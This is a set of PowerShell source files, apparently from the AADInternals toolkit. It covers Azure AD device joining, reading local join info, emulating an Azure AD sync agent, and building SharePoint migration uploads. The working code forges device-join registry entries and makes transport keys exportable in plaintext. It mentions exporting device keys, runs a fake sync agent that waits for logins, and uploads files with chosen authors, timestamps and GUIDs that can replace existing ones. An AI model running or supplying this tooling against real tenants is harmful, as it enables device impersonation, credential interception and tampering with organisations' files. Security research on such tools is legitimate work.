Remove-Item $certificate -Force
Throw "Unable to join: Provided certificate is for AAD Registered device."
}
# Generate P2P cert and CA & import to correct stores
Write-Verbose "Generating P2P certificate & CA"
New-P2PDeviceCertificate -PfxFileName $PfxFileName -TenantId $tenantId -DeviceName (Get-ComputerName)
$P2P = Import-PfxCertificate -FilePath ".\$($deviceId)-P2P.pfx" -CertStoreLocation "Cert:\LocalMachine\My" -Exportable
Write-Verbose "Certificate ($($P2P.Subject)) imported to CERT:\LocalMachine\My\$($P2P.Thumbprint)"
if(-not (Test-Path "Cert:\LocalMachine\AAD Token Issuer"))
{
New-Item -Path "Cert:\LocalMachine" -Name "AAD Token Issuer" -ItemType "directory" -Force
}
$P2PCA = Import-Certificate -FilePath ".\$($deviceId)-P2P-CA.der" -CertStoreLocation "Cert:\LocalMachine\AAD Token Issuer"
Write-Verbose "Certificate ($($P2PCA.Subject)) imported to CERT:\LocalMachine\AAD Token Issuer\$($P2PCA.Thumbprint)"
# Generate the transport key using device id as name
if($TransportKeyFileName)
{
# Use the provided tkpriv
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
}
else
{
# Use dkpriv from the certificate
$tkParameters = $certificate.PrivateKey.ExportParameters($true)
}
$transportKeyName = $deviceId
$RSAFULLPRIVATEBLOB = New-KeyBLOB -Parameters $tkParameters -Type RSA3
$cngParameters=[System.Security.Cryptography.CngKeyCreationParameters]::new()
$cngParameters.KeyCreationOptions = 0x20 -bor 0x80 # Create machine key | overwrite
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("Length",[System.BitConverter]::GetBytes(2048),"None"))
$cngParameters.Parameters.Add([System.Security.Cryptography.CngProperty]::new("RSAFULLPRIVATEBLOB",$RSAFULLPRIVATEBLOB,"None"))
$cngParameters.ExportPolicy = 0x01 -bor 0x02 # Allow export, allow plaintext export
$transportKey = [System.Security.Cryptography.CngKey]::Create("RSA",$transportKeyName,$cngParameters)
Write-Verbose "TransportKey name: $($transportKey.KeyName)"
Write-Verbose "TransportKey file name: $($transportKey.UniqueName)"
# Copy the private key to SystemKeys folder & delete from the current location
Copy-Item -Path "$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$($transportKey.UniqueName)" -Destination "$env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys" -Force
Write-Verbose "Transport key stored to $env:ALLUSERSPROFILE\Microsoft\Crypto\SystemKeys\$($transportKey.UniqueName)"
$transportKey.Delete()
# Create the registry keys
$CloudDomainJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
New-Item -Path "$CloudDomainJoinRoot" -Name "JoinInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\JoinInfo" -Name $thumbprint -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot" -Name "TenantInfo" -Force | Out-Null
New-Item -Path "$CloudDomainJoinRoot\TenantInfo" -Name $TenantId -Force | Out-Null
# Set join info
$joinInfo = @{
"IdpDomain" = "login.windows.net"
"TenantId" = $TenantId
"UserEmail" = $UserPrincipalName
"AttestationLevel" = 0
"AikCertStatus" = 0
"TransportKeyStatus" = 0
"DeviceDisplayName" = Get-ComputerName
"OsVersion" = $OSVersion
"DdidUpToDate" = 0
"LastSyncTime" = [int]((Get-Date).ToUniversalTime()-$epoch).TotalSeconds
}
Write-Verbose "Created key $CloudDomainJoinRoot\JoinInfo\$thumbprint"
foreach($key in $joinInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\JoinInfo\$thumbprint" -Name $key -Value $joinInfo[$key] | Out-Null
Write-Verbose " $key = $($joinInfo[$key])"
}
# Set tenant info
$tenantInfo = @{
"DisplayName" = $UserPrincipalName.split("@")[1].Split(".")[0]
"MdmEnrollmentUrl" = ""
"MdmTermsOfUseUrl" = ""
"MdmComplianceUrl" = ""
"UserSettingSyncUrl" = ""
"DrsServiceVersion" = "1.0"
"DrsEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc"
"DrsResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"AuthCodeUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/authorize"
"AccessTokenUrl" = "https://login.microsoftonline.com/$tenantId/oauth2/token"
"CdjServiceVersion" = "2.0"
"CdjEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/device/"
"CdjResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"NgcServiceVersion" = "1.0"
"NgcEndpoint" = "https://enterpriseregistration.windows.net/EnrollmentServer/key/"
"NgcResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"WebAuthnServiceVersion" = "1.0"
"WebAuthnEndpoint" = "https://enterpriseregistration.windows.net/webauthn/$tenantId/"
"WebAuthnResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"DeviceManagementServiceVersion" = "1.0"
"DeviceManagementEndpoint" = "https://enterpriseregistration.windows.net/manage/$tenantId/"
"DeviceManagementResourceId" = "urn:ms-drs:enterpriseregistration.windows.net"
"RbacPolicyEndpoint" = "https://pas.windows.net"
}
Write-Verbose "Created key $CloudDomainJoinRoot\TenantInfo\$tenantId"
foreach($key in $tenantInfo.Keys)
{
Set-ItemProperty -Path "$CloudDomainJoinRoot\TenantInfo\$tenantId" -Name $key -Value $tenantInfo[$key] | Out-Null
Write-Verbose " $key = $($tenantInfo[$key])"
}
# Calculate registry key parts for transportkey
$idp = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes("login.windows.net")))
$tenant = Convert-ByteArrayToHex -Bytes ($sha256.ComputeHash([text.encoding]::Unicode.GetBytes($TenantId)))
# Set the transport key name
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey" -Name "" -Force | Out-Null
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp" -Name $tenant -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant" -Name "SoftwareKeyTransportKeyName" -Value $transportKeyName -Force | Out-Null
Write-Verbose "Transport key set: HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Ngc\KeyTransportKey\PerDeviceKeyTransportKey\$idp\$tenant\SoftwareKeyTransportKeyName = $transportKeyName"
# Set some registry values
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "LoginUri" -Value "https://login.microsoftonline.com" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityStore\LoadParameters\{$WAM_AAD}" -Name "Enabled" -Value 1 | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\AutopilotPolicy" -Name "AutopilotMode" -Value 0 -Force | Out-Null
# Restart Software Protection Platform
Start-ScheduledTask -TaskPath "\Microsoft\Windows\SoftwareProtectionPlatform\" -TaskName "SvcRestartTask"
Write-Verbose "Restarted Software Protection Platform task."
# Enable and start AAD Device-Sync
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync" | Out-Null
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Workplace Join\" -TaskName "Device-Sync"
Write-Verbose "Enabled and started Device-Sync task."
# Run RegisterDeviceProtectionStateChanged
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DeviceDirectoryClient\" -TaskName "RegisterDeviceProtectionStateChanged"
Write-Verbose "Ran RegisterDeviceProtectionStateChanged task."
Write-Host "Device configured. To confirm success, restart and run: dsregcmd /status"
}
End
{
$sha256.Dispose()
}
}
# Gets the join info of the local device
# Dec 23rd 2021
function Get-LocalDeviceJoinInfo
{
<#
.SYNOPSIS
Shows the Azure AD Join information of the local device.
.DESCRIPTION
Shows the Azure AD Join information of the local device.
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
CertPath : Cert:\LocalMachine\My\CEC55C2566633AC8DA3D9E3EAD98A599084D0C4C
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : f4a4ea70-b196-4305-9531-018c3bcfc112
AuthUserObjectId : d625e2e9-8465-4513-b6c9-8d34a3735d41
KeyName : 8bff0b7f02f6256b521de95a77d4e70d_934bc9f7-04ef-43d8-a343-610b736a4030
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : [email protected]
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 0
DeviceDisplayName : WIN-JohnD
OsVersion : 10.0.19044.1288
DdidUpToDate : 0
LastSyncTime : 1643370347
.Example
PS C\:>Get-AADIntLocalDeviceJoinInfo
WARNING: This device has a TPM, exporting keys probably does not work!
JoinType : Joined
RegistryRoot : HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin
CertThumb : FFDABA36622C66F1F9104703D77603AE1964E92B
CertPath : Cert:\LocalMachine\My\FFDABA36622C66F1F9104703D77603AE1964E92B
TenantId : afdb4be1-057f-4dc1-98a9-327ffa079cca
DeviceId : e4c56ee8-419a-4421-bff4-1d3cb1c85ead
AuthUserObjectId : b62a31e9-8268-485f-aba8-69696cdf3048
KeyName : C:\ProgramData\Microsoft\Crypto\PCPKSP\[redacted]\[redacted].PCPKEY
KeyFriendlyName : Device Identity Key
IdpDomain : login.windows.net
UserEmail : [email protected]
AttestationLevel : 0
AikCertStatus : 0
TransportKeyStatus : 3
DeviceDisplayName : cloudpc-80153
OsVersion : 10.0.19044.1469
DdidUpToDate : 0
LastSyncTime : 1643622945
#>
[CmdletBinding()]
param()
Process
{
$AADJoinRoot = "HKLM:\SYSTEM\CurrentControlSet\Control\CloudDomainJoin"
$AADRegisteredRoot = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WorkplaceJoin"
# Check the join type and construct return value
if(Test-Path -Path "$AADJoinRoot\JoinInfo")
{
$joinRoot = $AADJoinRoot
$certRoot = "LocalMachine"
$attributes = [ordered]@{
"JoinType" = "Joined"
"RegistryRoot" = $AADJoinRoot
}
}
elseif(Test-Path -Path "$AADRegisteredRoot\JoinInfo")
{
$joinRoot = $AADRegisteredRoot
$certRoot = "CurrentUser"
$attributes = [ordered]@{
"JoinType" = "Registered"
"RegistryRoot" = $AADRegisteredRoot
}
}
else
{
return $null
}
# Get the Device certificate thumbnail from registery (assuming the device can only be joined once)
$regItem = (Get-ChildItem -Path "$joinRoot\JoinInfo\").Name
$certThumbnail = $regItem.Substring($regItem.LastIndexOf("\")+1)
$certificate = Get-Item -Path "Cert:\$certRoot\My\$certThumbnail"
$oids = Parse-CertificateOIDs -Certificate $certificate
$attributes["CertThumb" ] = "$certThumbnail"
$attributes["CertPath" ] = "Cert:\$certRoot\My\$certThumbnail"
$attributes["TenantId" ] = $oids.TenantId
$attributes["DeviceId" ] = $oids.DeviceId
$attributes["AuthUserObjectId"] = $oids.AuthUserObjectId
# This will fail for DeviceTransportKey because running as Local System
try
{
$attributes["KeyName" ] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uniquename
$attributes["KeyFriendlyName"] = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($certificate).key.uipolicy.FriendlyName
}
catch
{
# Okay
}
# Read the join info
$regItem = Get-Item -Path "$joinRoot\JoinInfo\$certThumbnail"
$valueNames = $regItem.GetValueNames()
foreach($name in $valueNames)
{
$attributes[$name] = $regItem.GetValue($name)
}
# Check the TPM
if($attributes["TransportKeyStatus"] -eq 3)
{
Write-Warning "Transport key stored to TPM, exporting not possible!"
}
return New-Object psobject -Property $attributes
}
} |
SyncAgent.ps1 | AADInternals-0.9.4 | Add-Type -AssemblyName System.Web
# Registers Syncgent to the Azure AD
# Apr 2nd 2019
# Sep 7th 2022: Added UpdateTrust
function Register-SyncAgent
{
<#
.SYNOPSIS
Registers the Sync agent to Azure AD and creates a client certificate or renews existing certificate.
.DESCRIPTION
Registers the Sync agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Get-AADIntAccessTokenForPTA -SaveToCache
Register-AADIntPTAAgent -MachineName "server1.company.com"
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
Sync Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$FileName,
[Parameter(ParameterSetName='normal',Mandatory=$False)]
[Parameter(ParameterSetName='update',Mandatory=$True)]
[switch]$UpdateTrust,
[Parameter(ParameterSetName='update',Mandatory=$True)]
[String]$PfxFileName,
[Parameter(ParameterSetName='update',Mandatory=$False)]
[String]$PfxPassword
)
Process
{
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType Sync -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
}
}
# Invokes the Sync Agent
function Invoke-SyncAgent
{
<#
.SYNOPSIS
Invokes a Sync Agent with given name and certificate.
.DESCRIPTION
Invokes a Sync Agent with given name and certificate, and connects to Azure AD. Emulates Azure AD Sync Agent.
.Example
Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
Register-AADIntSyncAgent -MachineName "server1.company.com"
Sync agent registered as server1.company.com
Certificate saved to Sync_client_certificate.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com"
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntSyncAgent -AccessToken $pt -MachineName "server1.company.com" -FileName server1.pfx
Sync agent registered as server1.company.com
Certificate saved to server1.pfx
PS C:\>Invoke-AADIntSyncAgent -MachineName "server1.company.com" -FileName server1.pfx
Connector 1 connecting to his-eur1-neur1
Connector 2 connecting to his-eur1-neur1
Connector 3 connecting to his-eur1-weur1
Connector 4 connecting to his-eur1-weur1
Sync Agent started, waiting for logins..
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$fileName="Sync_client_certificate.pfx"
)
Process
{
# Clean the old jobs
Get-Job | Remove-Job -Force
# Load the certificate
$fullPath = (Get-Item $fileName).FullName
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::CreateFromCertFile($fullPath)
# Get the bootStraps
$BootStraps = Get-BootstrapConfiguration -MachineName $MachineName -fileName $fileName
$max = 10
$connectors = @()
foreach($BootStrap in $bootStraps)
{
if($connectors.Length -gt $max)
{
break
}
$id=($connectors.count+1)
# The startup script
$sb={
param($BootStrap, $cert)
. "$PSScriptRoot\MSAppProxy_utils.ps1";
Connect-ToBus -BootStrap $BootStrap -cert $cert
}
# Create a synchronized hashtable for status etc.
$status=[hashtable]::Synchronized(@{})
# Create the runspace etc.
$rs=[runspacefactory]::CreateRunspace()
$ps=[powershell]::Create()
$ps.Runspace = $rs
$rs.Open()
$rs.SessionStateProxy.SetVariable("status",$status)
$ps.AddScript($sb)
$ps.AddArgument($BootStrap)
$job = $ps.BeginInvoke()
$name = "$id-$($BootStrap.Namespace)"
# Create a connector object
$connector = New-Object PSObject
$connector | Add-Member -NotePropertyName "Name" -NotePropertyValue ($name)
$connector | Add-Member -NotePropertyName "PowerShell" -NotePropertyValue ($ps)
$connector | Add-Member -NotePropertyName "Runspace" -NotePropertyValue ($rs)
$connector | Add-Member -NotePropertyName "Job" -NotePropertyValue ($job)
$connector | Add-Member -NotePropertyName "Status" -NotePropertyValue ($status)
$connectors+=$connector
}
$colors=@("Yellow","White","Cyan","Red")
while($true)
{
$running = $connectors.count
Clear-Host
foreach($connector in $connectors)
{
Write-Host "$($connector.Name) Completed: $($connector.job.IsCompleted) Status: $($connector.status.status)" -ForegroundColor $colors[$((([int]$connector.Name.Substring(0,1))-1)%4)]
if($connector.job.IsCompleted)
{
$connector.PowerShell.EndInvoke($connector.job)
$connector.Runspace.Close()
$running--
}
}
if($running -eq 0)
{
Write-Host "All connectors completed. Exiting.."
break
}
Start-Sleep -Seconds 3
}
}
}
|
SPMT_utils.ps1 | AADInternals-0.9.4 | # This file contains utility functions to implement protocol used by
# SharePoint Migration Tool (SPMT) and Migration Manager agent
# Calculates SPO SPMT Guid for the given file
# Ref: Microsoft.SharePoint.Migration.Common.GuidGenerator
# Nov 23rd 2022
Function Get-SPMTFileGuid
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$FilePath
)
Process
{
# Byte order swapping function
function Swap-ByteOrder
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Guid
)
Process
{
$Guid = Swap-Bytes -Guid $Guid -Left 0 -Right 3
$Guid = Swap-Bytes -Guid $Guid -Left 1 -Right 2
$Guid = Swap-Bytes -Guid $Guid -Left 4 -Right 5
$Guid = Swap-Bytes -Guid $Guid -Left 6 -Right 7
return $Guid
}
}
# Byte swapping function
function Swap-Bytes
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Guid,
[parameter(Mandatory=$true)]
[int]$Left = 0,
[parameter(Mandatory=$true)]
[int]$Right = 0
)
Process
{
$b = $Guid[$Left]
$Guid[$Left] = $Guid[$Right]
$Guid[$Right] = $b
return $Guid
}
}
$bytes = [text.encoding]::UTF8.GetBytes($FilePath)
$nameSpaceId = [byte[]](Swap-ByteOrder -Guid ([guid]"6ba7b811-9dad-11d1-80b4-00c04fd430c8").ToByteArray())
$alg = 0x05 # SHA1
$sha1 = [System.Security.Cryptography.SHA1]::Create()
$sha1.TransformBlock($nameSpaceId, 0, $nameSpaceId.Length, $null, 0) | Out-Null
$sha1.TransformFinalBlock($bytes, 0, $bytes.Length) | Out-Null
$hash = $sha1.Hash
$retVal = New-Object byte[] 16
[Array]::Copy($hash,$retVal,16)
$retVal[6] = $retVal[6] -band 15 -bor ($alg -shl 4)
$retVal[8] = $retVal[8] -band 63 -bor 128
return [guid][byte[]](Swap-ByteOrder -Guid $retVal)
}
}
# Encrypt the given content for migration
# Nov 23rd 2022
function Encrypt-SPMTFile
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(ParameterSetName='String',Mandatory=$True)]
[string]$StringContent,
[Parameter(ParameterSetName='Binary',Mandatory=$True)]
[byte[]]$BinaryContent,
[Parameter(ParameterSetName='File',Mandatory=$True)]
[string]$FilePath
)
Process
{
# Create encryptor and use the given key
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$aes.Key = $key
$encryptor = $aes.CreateEncryptor()
$iv = Convert-ByteArrayToB64 -Bytes $aes.IV
if(![string]::IsNullOrEmpty($StringContent))
{
Write-Verbose $StringContent
$BinaryContent = [text.encoding]::UTF8.GetBytes($StringContent)
}
# Encrypt content
if(![string]::IsNullOrEmpty($FilePath))
{
# Open the file
$infs = [System.IO.FileStream]::new($filePath,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
# Create a temporary file
$tempFile = (New-TemporaryFile).FullName
$outfs = [System.IO.FileStream]::new($tempFile,[System.IO.FileMode]::OpenOrCreate,[System.IO.FileAccess]::Write)
# Read and encrypt the file in 1kb chunks
$cs = [System.Security.Cryptography.CryptoStream]::new($outfs,$encryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
$buffer = New-Object byte[] 1024
while($infs.Position -lt $infs.Length)
{
$read = $infs.Read($buffer,0,1024)
$cs.Write($buffer,0,$read)
}
$cs.FlushFinalBlock()
# Clean up
$infs.Close()
$infs.Dispose()
$outfs.Close()
$outfs.Dispose()
$cs.Close()
$cs.Dispose()
$aes.Dispose()
# Calculate MD5
$md5 = Convert-ByteArrayToB64 (Convert-HexToByteArray (Get-FileHash -Path $tempFile -Algorithm MD5).Hash)
}
else
{
# Encrypt in memory
$ms = [System.IO.MemoryStream]::new()
$cs = [System.Security.Cryptography.CryptoStream]::new($ms,$encryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($BinaryContent,0,$BinaryContent.Count)
$cs.FlushFinalBlock()
$encData = $ms.ToArray()
# Clean up
$cs.Close()
$cs.Dispose()
$ms.Close()
$ms.Dispose()
$aes.Dispose()
# Calculate MD5
$md5hash = [System.Security.Cryptography.MD5]::Create()
$md5 = Convert-ByteArrayToB64 -Bytes $md5hash.ComputeHash($encData)
$md5hash.Dispose()
}
# Return
return [PSCustomObject]@{
"Data" = $encData
"IV" = $iv
"MD5" = $MD5
"DataFile" = $tempFile
}
}
}
# Generate metadatafiles for migration
# Nov 24th 2022
function Generate-SPMTMetadata
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[PSObject]$ContainerInfo,
[Parameter(Mandatory=$True)]
[PSObject]$FolderInfo,
[Parameter(Mandatory=$True)]
[guid]$WebId,
[Parameter(Mandatory=$True)]
[PSObject]$UserInformation,
[Parameter(Mandatory=$True)]
[Hashtable]$Files,
[Parameter(Mandatory=$True)]
[string]$Site
)
Process
{
$metadataFiles = @{}
$key = Convert-B64ToByteArray -B64 $ContainerInfo.EncryptionKey
# Create ExportSettings.xml
Write-Verbose "Generating ExportSettings.xml"
$content = @"
<?xml version="1.0" encoding="utf-8"?>
<ExportSettings xmlns="urn:deployment-exportsettings-schema" SiteUrl="http://fileshare/sites/user" FileLocation="C:\" IncludeSecurity="All" SourceType="FileShare">
<ExportObjects/>
</ExportSettings>
"@
$metadataFiles["ExportSettings.xml"] = Encrypt-SPMTFile -Key $key -StringContent $content
# Create SystemData.xml
Write-Verbose "Generating SystemData.xml"
$content = @"
<?xml version="1.0" encoding="utf-8"?>
<SystemData xmlns="urn:deployment-systemdata-schema">
<SchemaVersion Version="15.0.0.0" Build="16.0.3111.1200" DatabaseVersion="11552" SiteVersion="15" ObjectsProcessed="7" />
<ManifestFiles>
<ManifestFile Name="Manifest.xml" />
</ManifestFiles>
<SystemObjects/>
</SystemData>
"@
$metadataFiles["SystemData.xml"] = Encrypt-SPMTFile -Key $key -StringContent $content
# Create UserGroup.xml
Write-Verbose "Generating UserGroup.xml"
$content = @"
<?xml version="1.0" encoding="utf-8"?>
<UserGroupMap xmlns="urn:deployment-usergroupmap-schema">
<Users>
<User Id="1" Name="$($UserInformation.Title)" Login="$($UserInformation.LoginName)" IsSiteAdmin="false" SystemId="$(Convert-ByteArrayToB64 ([text.encoding]::UTF8.GetBytes($UserInformation.NameId)))" IsDeleted="false" IsDomainGroup="false" />
</Users>
<Groups />
</UserGroupMap>
"@
$metadataFiles["UserGroup.xml"] = Encrypt-SPMTFile -Key $key -StringContent $content
# Create Requirements.xml
Write-Verbose "Generating Requirements.xml"
$content = @"
<?xml version="1.0" encoding="utf-8"?>
<Requirements xmlns="urn:deployment-requirements-schema" />
"@
$metadataFiles["Requirements.xml"] = Encrypt-SPMTFile -Key $key -StringContent $content
# Create Manifest.xml
Write-Verbose "Generating Manifest.xml"
$content = @"
<?xml version="1.0" encoding="utf-8"?>
<SPObjects xmlns="urn:deployment-manifest-schema">
"@
$id = 1
foreach($fileName in $Files.Keys)
{
$fileInfo = $Files[$fileName]
$content += @"
<SPObject Id="$($fileInfo.Guid)" ObjectType="SPFile">
<File Url="$($FolderInfo.Name)/$fileName" Id="$($fileInfo.Guid)" ParentWebId="$WebId" Name="$fileName" ParentId="$($FolderInfo.Id)" TimeCreated="$($fileInfo.TimeCreated)" TimeLastModified="$($fileInfo.TimeLastModified)" Version="1.0" FileValue="$($fileInfo.Guid).dat" Author="1" ModifiedBy="1" MD5Hash="$($fileInfo.MD5)" InitializationVector="$($fileInfo.IV)" />
</SPObject>
"@
}
$content += @"
</SPObjects>
"@
$metadataFiles["Manifest.xml"] = Encrypt-SPMTFile -Key $key -StringContent $content
return $metadataFiles
}
}
# Generate metadatafiles for migration
# Nov 24th 2022
function Generate-SPMTFiledata
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[PSObject]$FolderInfo,
[Parameter(Mandatory=$True)]
[PSObject]$ContainerInfo,
[Parameter(Mandatory=$True)]
[string[]]$Files,
[Parameter(Mandatory=$False)]
[string]$LocalFile,
[Parameter(Mandatory=$False)]
[PSObject]$TimeCreated,
[Parameter(Mandatory=$False)]
[PSObject]$TimeLastModified,
[Parameter(Mandatory=$False)]
[PSObject]$Id,
[Parameter(Mandatory=$False)]
[String]$RelativePath
)
Process
{
$fileData = @{}
$key = Convert-B64ToByteArray -B64 $ContainerInfo.EncryptionKey
foreach($file in $Files)
{
if((Test-Path $file) -or (Test-Path $LocalFile))
{
if($LocalFile)
{
# Get local file if provided (may have different name than the target one when replacing)
$fileItem = Get-Item $LocalFile
$fileName = $file
}
else
{
# Get file item
$fileItem = Get-Item $file
$fileName = $fileItem.Name
}
Write-Verbose "Processing file $($fileItem.FullName)"
# Encrypt
$fileInfo = Encrypt-SPMTFile -Key $key -FilePath $fileItem.FullName
# Add created and modified time
if($TimeCreated -eq $null)
{
$TimeCreated = $fileItem.CreationTimeUtc
}
if($TimeLastModified -eq $null)
{
$TimeLastModified = $fileItem.LastWriteTimeUtc
}
# We are replacing an existing file so use that guid
if($Id)
{
$guid = $Id
}
else
{
# Form the filepath for calculating guid
$filePath = $Site + $FolderInfo.Name + $FolderInfo.ListName + $fileName
$guid = Get-SPMTFileGuid -FilePath $FilePath
}
$fileInfo | Add-Member -NotePropertyName "TimeCreated" -NotePropertyValue $TimeCreated.ToString("o").Split(".")[0]
$fileInfo | Add-Member -NotePropertyName "TimeLastModified" -NotePropertyValue $TimeLastModified.ToString("o").Split(".")[0]
$fileInfo | Add-Member -NotePropertyName "Guid" -NotePropertyValue $guid
$fileData[$fileName] = $fileInfo
}
else
{
Write-Warning "File does not exist, skipping: $file"
}
}
return $fileData
}
}
# Send files
# Nov 24th 2022
function Send-SPMTFiles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[Hashtable]$Files,
[Parameter(Mandatory=$True)]
[Hashtable]$Metadata,
[Parameter(Mandatory=$True)]
[PSObject]$ContainerInfo
)
Process
{
if($Files.Count -lt 1)
{
throw "No files to be sent"
}
Write-Verbose "Sending $($Files.Count) file(s) and $($Metadata.Count) metadata file(s) to SPO"
# Send metadata
foreach($fileName in $Metadata.Keys)
{
$metadataInfo = $Metadata[$fileName]
Write-Verbose "Sending metadata: $($metadataInfo.Guid) $fileName "
# Create the url
$url = $ContainerInfo.MetadataContainerUri.Replace("?","/$fileName`?")
$url += "&api-version=2018-03-28"
# Create headers
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"Content-MD5" = $metadataInfo.MD5
"x-ms-blob-type" = "BlockBlob"
"x-ms-version" = "2018-03-28"
}
# Send the file
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&timeout=300" -Headers $headers -Body $metadataInfo.Data
# Create headers for IV
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-meta-IV" = $metadataInfo.IV
"x-ms-version" = "2018-03-28"
}
# Send the IV
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&comp=metadata" -Headers $headers
# Create headers for snapshot
$headers=@{
"x-ms-client-request-id" = (New-Guid).ToString()
"x-ms-version" = "2018-03-28"
}
# Create a snapshot
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "$url&comp=snapshot" -Headers $headers
}
# Send files
foreach($fileName in $Files.Keys)
{
Write-Verbose "Sending file: $fileName"
$fileInfo = $Files[$fileName]
# Create the url
$url = $ContainerInfo.DataContainerUri.Replace("?","/$($fileInfo.Guid).dat?")
